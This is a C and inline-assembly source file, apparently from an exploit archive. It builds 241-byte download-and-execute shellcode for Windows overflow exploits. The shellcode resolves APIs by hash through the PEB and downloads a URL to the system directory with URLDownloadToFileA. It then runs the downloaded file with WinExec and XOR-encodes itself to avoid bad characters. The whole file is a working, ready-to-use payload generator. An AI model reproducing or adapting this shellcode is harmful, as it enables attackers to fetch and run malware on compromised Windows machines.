/*
*-----------------------------------------------------------------------
*
* downloadurl_v31.c - Download file and exec shellcode for Overflow exploit
*
* Copyright (C) 2000-2004 HUC All Rights Reserved.
*
* Author : lion
* :
* Date : 2003-08-15
* :
* Update : 2004-05-05 v3.1
* : 2004-01-08 v3.0
* : 2003-09-10 v2.0
* : 2003-08-15 v1.0
* :
* Tested : Windows 2000/Windows XP/windows 2003
* :
* Notice : 1. 通过peb取得kernel32.dll地址。
* : 2. 通过函数的hash值来进行比较，代替GetProcAddress取得函数地址，节省函数名占用的空间。
* : 3. 利用循环获取hash值和函数地址，节省空间。
* : 4. 下载url文件并执行。
* : 5. 用vc6可以命令行直接编译，方便修改。
* : 6. win2000/winxp/win2003 下测试成功。
* : 7. 比较小巧，长度为241 bytes。
* :
* Complie : cl downloadurl_v31.c
* :
* Reference: http://www.lsd-pl.net/documents/winasm-1.0.1.pdf
* : http://www.metasploit.com/shellcode.html
*
*------------------------------------------------------------------------
*/
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
// Use for find the ASM code
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90\
__asm _emit 0x90 __asm _emit 0x90\
__asm _emit 0x90 __asm _emit 0x90\
__asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
#define SEARCH_STR "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
#define SEARCH_LEN 8
#define MAX_SC_LEN 2048
#define HASH_KEY 13
// Define Decode Parameter
#define DECODE_LEN 21
#define SC_LEN_OFFSET 7
#define ENC_KEY_OFFSET 11
#define ENC_KEY 0x99
// Define Function Addr
#define ADDR_LoadLibraryA [esi]
#define ADDR_GetSystemDirectoryA [esi+4]
#define ADDR_WinExec [esi+8]
#define ADDR_ExitProcess [esi+12]
#define ADDR_URLDownloadToFileA [esi+16]
//#define ADDR_URL edi
// Need functions
unsigned char functions[100][128] =
{ // [esi] stack layout
// kernel32 4 // 00 kernel32.dll
{"LoadLibraryA"}, // [esi]
{"GetSystemDirectoryA"}, // [esi+4]
{"WinExec"}, // [esi+8]
{"ExitProcess"}, // [esi+12]
//("ExitThread"},
//{"TerminateProcess"},
// urlmon 1 // 01 urlmon.dll
{"URLDownloadToFileA"}, // [esi+16]
{""},
};
// Shellcode string
unsigned char sc[1024] = {0};
unsigned char url[]=
"http://127.0.0.1/test.exe\x00";
// ASM shellcode main function
void ShellCode();
// Get function hash
static DWORD __stdcall GetHash ( char *c )
{
DWORD h = 0;
while ( *c )
{
__asm ror h, HASH_KEY
h += *c++;
}
return( h );
}
// Print Shellcode
void PrintSc(unsigned char *sc, int len)
{
int i,j;
char *p;
char msg[6];
//printf("/* %d bytes */\n", buffsize);
// Print general shellcode
for(i = 0; i < len; i++)
{
if((i%16)==0)
{
if(i!=0)
printf("\"\n\"");
else
printf("\"");
}
//printf("\\x%.2X", sc[i]);
sprintf(msg, "\\x%.2X", sc[i] & 0xff);
for( p = msg, j=0; j < 4; p++, j++ )
{
if(isupper(*p))
printf("%c", _tolower(*p));
else
printf("%c", p[0]);
}
}
printf("\";\n");
}
void Make_ShellCode()
{
unsigned char *pSc_addr;
unsigned int Sc_len;
unsigned int Enc_key=ENC_KEY;
unsigned long dwHash[100];
unsigned int dwHashSize;
int i,j,k,l;
// Get functions hash
printf("[+] Get functions hash strings.\r\n");
for (i=0;;i++)
{
if (functions[i][0] == '\x0') break;
dwHash[i] = GetHash((char*)functions[i]);
printf("\t%.8X\t%s\n", dwHash[i], functions[i]);
}
dwHashSize = i*4;
// Deal with shellcode
pSc_addr = (unsigned char *)ShellCode;
for (k=0;k<MAX_SC_LEN;++k )
{
if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0)
{
break;
}
}
pSc_addr+=(k+SEARCH_LEN); // Start of the ShellCode
for (k=0;k<MAX_SC_LEN;++k)
{
if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) {
break;
}
}
Sc_len=k; // Length of the ShellCode
memcpy(sc, pSc_addr, Sc_len); // Copy shellcode to sc[]
// Add functions hash
memcpy(sc+Sc_len, (char *)dwHash, dwHashSize);
Sc_len += dwHashSize;
// Add url
memcpy(sc+Sc_len, url, sizeof(url)-1);
Sc_len += sizeof(url)-1;
// Print the size of shellcode.
printf("[+] %d + %d + %d = %d bytes shellcode\n", DECODE_LEN, Sc_len-DECODE_LEN-sizeof(url)+1, sizeof(url)-1, Sc_len);
// Print the ip/port offset
for(k=0; k <= Sc_len-3; ++k)
{
if(sc[k] == 0x00 && sc[k+1] == 0x35)
printf("/* port offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k);
if(sc[k] == 0x7F && sc[k+3] == 0x01)
printf("/* ip offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k);
}
/*
for(i=DECODE_LEN; i<Sc_len; i++)
{
sc[i] ^= Enc_key;
}
*/
// Print shellcode
//PrintSc(sc, Sc_len);
// Deal with find the right XOR byte
for(i=0xff; i>0; i--)
{
l = 0;
for(j=DECODE_LEN; j<Sc_len; j++)
{
if (
((sc[j] ^ i) == 0x26) || //%
((sc[j] ^ i) == 0x3d) || //=
((sc[j] ^ i) == 0x3f) || //?
((sc[j] ^ i) == 0x40) || //@
((sc[j] ^ i) == 0x00) ||
((sc[j] ^ i) == 0x0D) ||
((sc[j] ^ i) == 0x0A)
) // Define Bad Characters
{
l++; // If found the right XOR byte，l equals 0
break;
};
}
if (l==0)
{
Enc_key = i;
//printf("[+] Find XOR Byte: 0x%02X\n", i);
for(j=DECODE_LEN; j<Sc_len; j++)
{
sc[j] ^= Enc_key;
}
break; // If found the right XOR byte, Break
}
}
// Deal with not found XOR byte
if (l!=0)
{
printf("[-] No xor byte found!\r\n");
exit(-1);
}
// Deal with DeCode string
*(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len;
*(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key;
// Print decode
printf("/* %d bytes decode */\r\n", DECODE_LEN);
PrintSc(sc, DECODE_LEN);
// Print shellcode
printf("/* %d bytes shellcode, xor with 0x%02x */\r\n", Sc_len-DECODE_LEN, Enc_key);
PrintSc((char*)sc+DECODE_LEN, Sc_len-DECODE_LEN);
printf("[+] download url:%s\n", url);
}
void main()
{
DWORD addr;
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);
Make_ShellCode();
addr = (DWORD)≻
__asm
{
jmp addr
}
return;
}
// ShellCode function
void ShellCode()
{
__asm
{
PROC_BEGIN // C macro to begin proc
//--------------------------------------------------------------------
//
// DeCode
//
//--------------------------------------------------------------------
jmp short decode_end
decode_start:
pop ebx // Decode start addr (esp -> ebx)
dec ebx
xor ecx,ecx
mov cl,0xFF // Decode len
decode_loop:
xor byte ptr [ebx+ecx],0x99 // Decode key
loop decode_loop
jmp short decode_ok
decode_end:
call decode_start
decode_ok:
//--------------------------------------------------------------------
//
// ShellCode
//
//--------------------------------------------------------------------
jmp sc_end
sc_start:
pop edi // Hash string start addr (esp -> edi)
// Get kernel32.dll base addr
mov eax, fs:0x30 // PEB
mov eax, [eax+0x0c] // PROCESS_MODULE_INFO
mov esi, [eax+0x1c] // InInitOrder.flink
lodsd // eax = InInitOrder.blink
mov ebp, [eax+8] // ebp = kernel32.dll base address
mov esi, edi // Hash string start addr -> esi
// Get function addr of kernel32
push 4
pop ecx
getkernel32:
call GetProcAddress_fun
loop getkernel32
// Get function addr of urlmon
push 0x00006e6f
push 0x6d6c7275 // urlmon
push esp
call ADDR_LoadLibraryA // LoadLibraryA("urlmon");
mov ebp, eax // ebp = urlmon.dll base address
/*
push 1
pop ecx
geturlmon:
call GetProcAddress_fun
loop geturlmon
*/
call GetProcAddress_fun
// url start addr = edi
//LGetSystemDirectoryA:
sub esp, 0x20
mov ebx, esp
push 0x20
push ebx
call ADDR_GetSystemDirectoryA // GetSystemDirectoryA
//LURLDownloadToFileA:
// eax = system path size
// URLDownloadToFileA url save to a.exe
mov dword ptr [ebx+eax], 0x652E615C // "\a.e"
mov dword ptr [ebx+eax+0x4], 0x00006578 // "xe"
xor eax, eax
push eax
push eax
push ebx // %systemdir%\a.exe
push edi // url
push eax
call ADDR_URLDownloadToFileA // URLDownloadToFileA
//LWinExec:
mov ebx, esp
push eax
push ebx
call ADDR_WinExec // WinExec(%systemdir%\a.exe);
Finished:
//push 1
call ADDR_ExitProcess // ExitProcess();
GetProcAddress_fun:
push ecx
push esi
mov esi, [ebp+0x3C] // e_lfanew
mov esi, [esi+ebp+0x78] // ExportDirectory RVA
add esi, ebp // rva2va
push esi
mov esi, [esi+0x20] // AddressOfNames RVA
add esi, ebp // rva2va
xor ecx, ecx
dec ecx
find_start:
inc ecx
lodsd
add eax, ebp
xor ebx, ebx
hash_loop:
movsx edx, byte ptr [eax]
cmp dl, dh
jz short find_addr
ror ebx, HASH_KEY // hash key
add ebx, edx
inc eax
jmp short hash_loop
find_addr:
cmp ebx, [edi] // compare to hash
jnz short find_start
pop esi // ExportDirectory
mov ebx, [esi+0x24] // AddressOfNameOrdinals RVA
add ebx, ebp // rva2va
mov cx, [ebx+ecx*2] // FunctionOrdinal
mov ebx, [esi+0x1C] // AddressOfFunctions RVA
add ebx, ebp // rva2va
mov eax, [ebx+ecx*4] // FunctionAddress RVA
add eax, ebp // rva2va
stosd // function address save to [edi]
pop esi
pop ecx
ret
sc_end:
call sc_start
PROC_END //C macro to end proc
}
}
// milw0rm.com [2004-10-25]